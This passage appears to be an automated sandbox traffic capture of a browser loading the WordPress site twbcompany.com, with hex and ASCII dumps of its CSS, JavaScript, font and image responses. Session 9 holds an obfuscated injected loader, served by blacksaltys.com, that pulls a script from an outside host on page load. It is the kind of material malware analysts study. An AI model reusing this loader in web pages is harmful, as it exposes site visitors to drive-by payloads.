63 69 74 79 3a 20 31 3b 0a 20 20 20 20 20 20 76 69 73 69 62 69 6c 69 74 79 3a 20 76 69 73 69 62 6c 65 3b 0a 20 20 Data Ascii: /* line 240, ../../app/sass/partials/_navigation.scss */ #primary-nav-container #primary-nav ul li:hover .dropdown, #primary-nav-container #primary-nav ul li:focus .dropdown { max-height: none; opacity: 1; visibility: visible;
2024-10-07 11:16:59 UTC	8000	IN	Data Raw: 20 20 20 2d 6d 6f 7a 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 20 76 69 73 69 62 69 6c 69 74 79 20 30 73 20 6c 69 6e 65 61 72 20 30 2e 32 73 2c 20 6f 70 61 63 69 74 79 20 30 2e 32 73 20 6c 69 6e 65 61 72 20 30 73 3b 0a 20 20 20 20 74 72 61 6e 73 69 74 69 6f 6e 3a 20 76 69 73 69 62 69 6c 69 74 79 20 30 73 20 6c 69 6e 65 61 72 20 30 2e 32 73 2c 20 6f 70 61 63 69 74 79 20 30 2e 32 73 20 6c 69 6e 65 61 72 20 30 73 3b 20 7d 0a 20 20 20 20 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 36 39 2e 33 37 35 72 65 6d 29 20 7b 0a 20 20 20 20 20 20 2f 2a 20 6c 69 6e 65 20 34 35 35 2c 20 2e 2e 2f 2e 2e 2f 61 70 70 2f 73 61 73 73 2f 70 61 72 74 69 61 6c 73 2f 5f 6e 61 76 69 67 61 74 69 6f 6e 2e 73 63 73 73 20 2a 2f 0a 20 20 20 20 20 Data Ascii: -moz-transition: visibility 0s linear 0.2s, opacity 0.2s linear 0s; transition: visibility 0s linear 0.2s, opacity 0.2s linear 0s; } @media screen and (min-width: 69.375rem) { /* line 455, ../../app/sass/partials/_navigation.scss */
2024-10-07 11:16:59 UTC	8000	IN	Data Raw: 20 30 20 30 2e 37 35 65 6d 20 31 2e 37 35 65 6d 20 30 2e 37 35 65 6d 3b 0a 20 20 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 20 7d 0a 20 20 2f 2a 20 6c 69 6e 65 20 32 33 2c 20 2e 2e 2f 2e 2e 2f 61 70 70 2f 73 61 73 73 2f 70 61 72 74 69 61 6c 73 2f 5f 72 65 66 69 6c 6c 73 2e 73 63 73 73 20 2a 2f 0a 20 20 2e 63 61 72 64 20 2e 63 61 72 64 2d 69 6d 61 67 65 20 7b 0a 20 20 20 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0a 20 20 20 20 68 65 69 67 68 74 3a 20 32 30 30 70 78 3b 0a 20 20 20 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 32 30 30 70 78 3b 20 7d 0a 20 20 2f 2a 20 6c 69 6e 65 20 32 39 2c 20 2e 2e 2f 2e 2e 2f 61 70 70 2f 73 61 73 73 2f 70 61 72 74 69 61 6c 73 2f 5f 72 65 66 69 6c 6c 73 2e 73 63 73 73 20 2a 2f 0a 20 20 2e 63 61 72 64 20 Data Ascii: 0 0.75em 1.75em 0.75em; position: relative; } /* line 23, ../../app/sass/partials/_refills.scss / .card .card-image { overflow: hidden; height: 200px; max-height: 200px; } / line 29, ../../app/sass/partials/_refills.scss */ .card
2024-10-07 11:16:59 UTC	8000	IN	Data Raw: 70 70 2f 73 61 73 73 2f 70 61 72 74 69 61 6c 73 2f 5f 6c 6f 63 61 74 69 6f 6e 73 2e 73 63 73 73 20 2a 2f 0a 20 20 2e 69 6e 66 6f 5f 63 6f 6e 74 65 6e 74 20 73 70 61 6e 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 36 70 78 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 72 65 6d 3b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 20 7d 0a 0a 2f 2a 20 6c 69 6e 65 20 32 2c 20 2e 2e 2f 2e 2e 2f 61 70 70 2f 73 61 73 73 2f 70 61 72 74 69 61 6c 73 2f 5f 66 6f 72 6d 73 2e 73 63 73 73 20 2a 2f 0a 2e 66 6f 72 6d 20 69 6e 70 75 74 5b 74 79 70 65 3d 22 74 65 78 74 22 5d 20 7b 0a 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 32 65 6d 3b 20 7d 0a 2f 2a 20 6c 69 6e 65 20 35 2c 20 2e 2e 2f 2e 2e 2f 61 70 70 2f 73 61 73 73 2f 70 61 Data Ascii: pp/sass/partials/_locations.scss / .info_content span { font-size: 16px; font-size: 1rem; font-weight: 400; }/ line 2, ../../app/sass/partials/_forms.scss /.form input[type="text"] { margin-bottom: 2em; }/ line 5, ../../app/sass/pa

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49741	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:16:59 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-07 11:16:59 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF45) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=192523 Date: Mon, 07 Oct 2024 11:16:59 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49750	77.232.36.155	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:00 UTC	560	OUT	GET /2xIsQSDP8CyeXrv78zk9FGV8lZIj9SXKVc-Mpx3O5H0 HTTP/1.1 Host: blacksaltys.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.twbcompany.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 11:17:00 UTC	299	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 11:17:00 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 227 Connection: close Cache-Control: no-cache, no-store, must-revalidate Expires: Mon, 07 Oct 2024 11:17:00 GMT Vary: Accept-Encoding Access-Control-Allow-Origin: *
2024-10-07 11:17:00 UTC	227	IN	Data Raw: 3b 28 66 75 6e 63 74 69 6f 6e 28 75 2c 71 2c 79 2c 64 2c 6e 29 7b 64 3d 75 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 71 29 3b 6e 3d 75 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 71 29 5b 30 5d 3b 64 2e 61 73 79 6e 63 3d 31 3b 64 2e 73 72 63 3d 79 3b 6e 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 64 2c 6e 29 3b 7d 29 28 64 6f 63 75 6d 65 6e 74 2c 27 73 63 72 69 70 74 27 2c 27 68 74 74 70 73 3a 2f 2f 76 69 72 74 75 61 6c 2e 75 72 62 61 6e 2d 6f 72 74 68 6f 64 6f 6e 74 69 63 73 2e 63 6f 6d 2f 53 7a 6c 70 6e 54 41 62 43 76 51 76 47 31 4f 76 66 51 70 46 76 7a 6b 62 55 37 38 78 51 41 58 37 4f 31 73 66 76 7a 59 3d 27 29 3b Data Ascii: ;(function(u,q,y,d,n){d=u.createElement(q);n=u.getElementsByTagName(q)[0];d.async=1;d.src=y;n.parentNode.insertBefore(d,n);})(document,'script','https://virtual.urban-orthodontics.com/SzlpnTAbCvQvG1OvfQpFvzkbU78xQAX7O1sfvzY=');

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49751	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:00 UTC	619	OUT	GET /2016/wp-content/themes/twb_2016/assets/plugins/lightcase/css/lightcase.css?ver=6.5.4 HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.twbcompany.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 11:17:00 UTC	253	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:00 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 27 Jan 2016 14:59:36 GMT Accept-Ranges: bytes Content-Length: 392 Vary: Accept-Encoding Content-Type: text/css
2024-10-07 11:17:00 UTC	392	IN	Data Raw: 2f 2a 0a 20 2a 20 4c 69 67 68 74 63 61 73 65 20 2d 20 6a 51 75 65 72 79 20 50 6c 75 67 69 6e 0a 20 2a 20 54 68 65 20 73 6d 61 72 74 20 61 6e 64 20 66 6c 65 78 69 62 6c 65 20 4c 69 67 68 74 62 6f 78 20 50 6c 75 67 69 6e 2e 0a 20 2a 0a 20 2a 20 40 61 75 74 68 6f 72 09 09 43 6f 72 6e 65 6c 20 42 6f 70 70 61 72 74 20 3c 63 6f 72 6e 65 6c 40 62 6f 70 70 2d 61 72 74 2e 63 6f 6d 3e 0a 20 2a 20 40 63 6f 70 79 72 69 67 68 74 09 41 75 74 68 6f 72 0a 20 2a 0a 20 2a 20 40 76 65 72 73 69 6f 6e 09 09 32 2e 31 2e 32 20 28 32 39 2f 30 39 2f 32 30 31 35 29 0a 20 2a 2f 0a 0a 2f 2a 20 49 6d 70 6f 72 74 20 69 63 6f 6e 20 66 6f 6e 74 20 2a 2f 0a 40 69 6d 70 6f 72 74 20 75 72 6c 28 66 6f 6e 74 2d 6c 69 67 68 74 63 61 73 65 2e 63 73 73 29 3b 0a 0a 2f 2a 20 49 6d 70 6f 72 74 20 Data Ascii: /* * Lightcase - jQuery Plugin * The smart and flexible Lightbox Plugin. * * @authorCornel Boppart <cornel@bopp-art.com> * @copyrightAuthor * * @version2.1.2 (29/09/2015) // Import icon font /@import url(font-lightcase.css);/ Import

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49752	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:00 UTC	669	OUT	GET /2016/wp-content/themes/twb_2016/assets/fonts/fontello/css/fontello.css HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/styles/main.css?ver=6.5.4 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 11:17:00 UTC	254	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:00 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 27 Jan 2016 14:59:34 GMT Accept-Ranges: bytes Content-Length: 4305 Vary: Accept-Encoding Content-Type: text/css
2024-10-07 11:17:00 UTC	4305	IN	Data Raw: 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 66 6f 6e 74 65 6c 6c 6f 27 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 27 2e 2e 2f 66 6f 6e 74 2f 66 6f 6e 74 65 6c 6c 6f 2e 65 6f 74 3f 39 36 39 33 39 31 37 39 27 29 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 27 2e 2e 2f 66 6f 6e 74 2f 66 6f 6e 74 65 6c 6c 6f 2e 65 6f 74 3f 39 36 39 33 39 31 37 39 23 69 65 66 69 78 27 29 20 66 6f 72 6d 61 74 28 27 65 6d 62 65 64 64 65 64 2d 6f 70 65 6e 74 79 70 65 27 29 2c 0a 20 20 20 20 20 20 20 75 72 6c 28 27 2e 2e 2f 66 6f 6e 74 2f 66 6f 6e 74 65 6c 6c 6f 2e 77 6f 66 66 3f 39 36 39 33 39 31 37 39 27 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 27 29 2c 0a 20 20 20 20 20 20 20 75 72 6c 28 27 2e 2e 2f 66 6f 6e 74 2f 66 6f 6e 74 65 6c 6c 6f 2e 74 Data Ascii: @font-face { font-family: 'fontello'; src: url('../font/fontello.eot?96939179'); src: url('../font/fontello.eot?96939179#iefix') format('embedded-opentype'), url('../font/fontello.woff?96939179') format('woff'), url('../font/fontello.t

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49753	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:00 UTC	592	OUT	GET /2016/wp-content/plugins/cf7-gated-content/js/cf7_gated_content.js?ver=1 HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.twbcompany.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 11:17:00 UTC	268	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:00 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 10 Mar 2021 20:56:59 GMT Accept-Ranges: bytes Content-Length: 2490 Vary: Accept-Encoding Content-Type: application/javascript
2024-10-07 11:17:00 UTC	2490	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 20 28 24 29 20 7b 0a 20 20 76 61 72 20 53 55 43 43 45 53 53 5f 53 54 41 54 55 53 20 3d 20 22 6d 61 69 6c 5f 73 65 6e 74 22 3b 0a 20 20 76 61 72 20 41 4a 41 58 5f 41 43 54 49 4f 4e 20 3d 20 22 67 65 74 44 6f 77 6e 6c 6f 61 64 42 75 74 74 6f 6e 22 3b 0a 20 20 76 61 72 20 53 55 50 50 4f 52 54 45 44 5f 56 45 52 53 49 4f 4e 53 20 3d 20 5b 34 2c 20 35 5d 3b 0a 0a 20 20 66 75 6e 63 74 69 6f 6e 20 77 61 72 6e 56 65 72 73 69 6f 6e 28 76 65 72 73 69 6f 6e 29 20 7b 0a 20 20 20 20 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 0a 20 20 20 20 20 20 22 5b 43 46 37 20 47 41 54 45 44 20 43 4f 4e 54 45 4e 54 5d 3a 20 54 68 69 73 20 76 65 72 73 69 6f 6e 20 6f 66 20 43 46 37 20 69 73 20 6e 6f 74 20 73 75 70 70 6f 72 74 65 64 3a 20 22 20 2b 20 76 65 72 73 Data Ascii: (function ($) { var SUCCESS_STATUS = "mail_sent"; var AJAX_ACTION = "getDownloadButton"; var SUPPORTED_VERSIONS = [4, 5]; function warnVersion(version) { console.warn( "[CF7 GATED CONTENT]: This version of CF7 is not supported: " + vers

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49754	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:00 UTC	636	OUT	GET /2016/wp-content/plugins/sitepress-multilingual-cms/templates/language-switchers/legacy-dropdown/script.min.js?ver=1 HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.twbcompany.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 11:17:00 UTC	267	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:00 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Thu, 25 Jan 2024 15:20:31 GMT Accept-Ranges: bytes Content-Length: 409 Vary: Accept-Encoding Content-Type: application/javascript
2024-10-07 11:17:00 UTC	409	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 57 50 4d 4c 4c 61 6e 67 75 61 67 65 53 77 69 74 63 68 65 72 44 72 6f 70 64 6f 77 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 65 29 7b 28 65 3d 65 7c 7c 77 69 6e 64 6f 77 2e 65 76 65 6e 74 29 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 26 26 65 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 65 2e 72 65 74 75 72 6e 56 61 6c 75 65 3d 21 31 7d 72 65 74 75 72 6e 7b 69 6e 69 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 65 3d 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 2e 6a 73 2d 77 70 6d 6c 2d 6c 73 2d 6c 65 67 61 63 79 2d 64 72 6f 70 64 6f 77 6e 20 61 2e 6a 73 2d 77 70 6d 6c 2d 6c 73 2d 69 74 65 6d 2d 74 6f 67 67 6c 65 Data Ascii: "use strict";var WPMLLanguageSwitcherDropdown=function(){function t(e){(e=e\|\|window.event).preventDefault&&e.preventDefault(),e.returnValue=!1}return{init:function(){for(var e=document.querySelectorAll(".js-wpml-ls-legacy-dropdown a.js-wpml-ls-item-toggle

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49756	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:00 UTC	578	OUT	GET /2016/wp-content/themes/twb_2016/js/modernizr.js?ver=2.8.3 HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.twbcompany.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 11:17:00 UTC	269	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:00 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 27 Jan 2016 14:52:20 GMT Accept-Ranges: bytes Content-Length: 13380 Vary: Accept-Encoding Content-Type: application/javascript
2024-10-07 11:17:00 UTC	7923	IN	Data Raw: 2f 2a 20 4d 6f 64 65 72 6e 69 7a 72 20 32 2e 38 2e 33 20 28 43 75 73 74 6f 6d 20 42 75 69 6c 64 29 20 7c 20 4d 49 54 20 26 20 42 53 44 0a 20 2a 20 42 75 69 6c 64 3a 20 68 74 74 70 3a 2f 2f 6d 6f 64 65 72 6e 69 7a 72 2e 63 6f 6d 2f 64 6f 77 6e 6c 6f 61 64 2f 23 2d 66 6f 6e 74 66 61 63 65 2d 62 61 63 6b 67 72 6f 75 6e 64 73 69 7a 65 2d 62 6f 72 64 65 72 69 6d 61 67 65 2d 62 6f 72 64 65 72 72 61 64 69 75 73 2d 62 6f 78 73 68 61 64 6f 77 2d 66 6c 65 78 62 6f 78 2d 66 6c 65 78 62 6f 78 6c 65 67 61 63 79 2d 68 73 6c 61 2d 6d 75 6c 74 69 70 6c 65 62 67 73 2d 6f 70 61 63 69 74 79 2d 72 67 62 61 2d 74 65 78 74 73 68 61 64 6f 77 2d 63 73 73 61 6e 69 6d 61 74 69 6f 6e 73 2d 63 73 73 63 6f 6c 75 6d 6e 73 2d 67 65 6e 65 72 61 74 65 64 63 6f 6e 74 65 6e 74 2d 63 73 73 Data Ascii: /* Modernizr 2.8.3 (Custom Build) \| MIT & BSD * Build: http://modernizr.com/download/#-fontface-backgroundsize-borderimage-borderradius-boxshadow-flexbox-flexboxlegacy-hsla-multiplebgs-opacity-rgba-textshadow-cssanimations-csscolumns-generatedcontent-css
2024-10-07 11:17:00 UTC	5457	IN	Data Raw: 69 6f 6e 28 29 7b 76 61 72 20 6e 3d 66 2e 63 6c 6f 6e 65 4e 6f 64 65 28 29 2c 63 3d 6e 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 3b 68 2e 73 68 69 76 4d 65 74 68 6f 64 73 26 26 28 22 2b 6d 28 29 2e 6a 6f 69 6e 28 29 2e 72 65 70 6c 61 63 65 28 2f 5b 5c 77 5c 2d 5d 2b 2f 67 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 62 2e 63 72 65 61 74 65 45 6c 65 6d 28 61 29 2c 62 2e 66 72 61 67 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 61 29 2c 27 63 28 22 27 2b 61 2b 27 22 29 27 7d 29 2b 22 29 3b 72 65 74 75 72 6e 20 6e 7d 22 29 28 73 2c 62 2e 66 72 61 67 29 7d 66 75 6e 63 74 69 6f 6e 20 72 28 61 29 7b 61 7c 7c 28 61 3d 62 29 3b 76 61 72 20 63 3d 6e 28 61 29 3b 72 65 74 75 72 6e 20 73 2e 73 68 69 76 43 53 53 26 26 21 67 26 26 21 63 2e 68 61 73 43 53 Data Ascii: ion(){var n=f.cloneNode(),c=n.createElement;h.shivMethods&&("+m().join().replace(/[\w\-]+/g,function(a){return b.createElem(a),b.frag.createElement(a),'c("'+a+'")'})+");return n}")(s,b.frag)}function r(a){a\|\|(a=b);var c=n(a);return s.shivCSS&&!g&&!c.hasCS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49755	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:00 UTC	650	OUT	GET /2016/wp-content/themes/twb_2016/assets/images/logos/logo-twb-main.svg HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.twbcompany.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 11:17:00 UTC	235	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:00 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 06 Feb 2024 14:31:02 GMT Accept-Ranges: bytes Content-Length: 713 Content-Type: image/svg+xml
2024-10-07 11:17:00 UTC	713	IN	Data Raw: 3c 73 76 67 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 20 78 3d 22 30 70 78 22 20 79 3d 22 30 70 78 22 0a 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 33 32 35 2e 32 20 31 32 35 2e 33 22 20 65 6e 61 62 6c 65 2d 62 61 63 6b 67 72 6f 75 6e 64 3d 22 6e 65 77 20 30 20 30 20 33 32 35 2e 32 20 31 32 35 2e 33 22 20 78 6d 6c 3a 73 70 61 63 65 3d 22 70 72 65 73 65 72 76 65 22 3e 0a 09 3c 67 20 69 64 3d 22 4c 61 79 65 72 5f 32 22 3e 0a 09 09 3c 70 61 74 68 20 66 69 6c 6c 3d 22 23 30 30 33 33 36 36 22 20 64 3d 22 4d 30 2c 30 68 31 31 30 2e Data Ascii: <svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" viewBox="0 0 325.2 125.3" enable-background="new 0 0 325.2 125.3" xml:space="preserve"><g id="Layer_2"><path fill="#003366" d="M0,0h110.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49758	151.101.2.137	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:00 UTC	370	OUT	GET /jquery-1.11.3.min.js?ver=1.11.3 HTTP/1.1 Host: code.jquery.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 11:17:00 UTC	611	IN	HTTP/1.1 200 OK Connection: close Content-Length: 95957 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-176d5" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 2263682 Date: Mon, 07 Oct 2024 11:17:00 GMT X-Served-By: cache-lga21923-LGA, cache-ewr-kewr1740035-EWR X-Cache: MISS, HIT X-Cache-Hits: 0, 0 X-Timer: S1728299821.578190,VS0,VE1 Vary: Accept-Encoding
2024-10-07 11:17:00 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 31 2e 31 31 2e 33 20 7c 20 28 63 29 20 32 30 30 35 2c 20 32 30 31 35 20 6a 51 75 65 72 79 20 46 6f 75 6e 64 61 74 69 6f 6e 2c 20 49 6e 63 2e 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 61 2e 64 6f 63 75 6d 65 6e 74 3f 62 28 61 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 21 61 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 65 71 75 69 72 65 73 20 61 20 77 69 6e Data Ascii: /! jQuery v1.11.3 \| (c) 2005, 2015 jQuery Foundation, Inc. \| jquery.org/license /!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a win
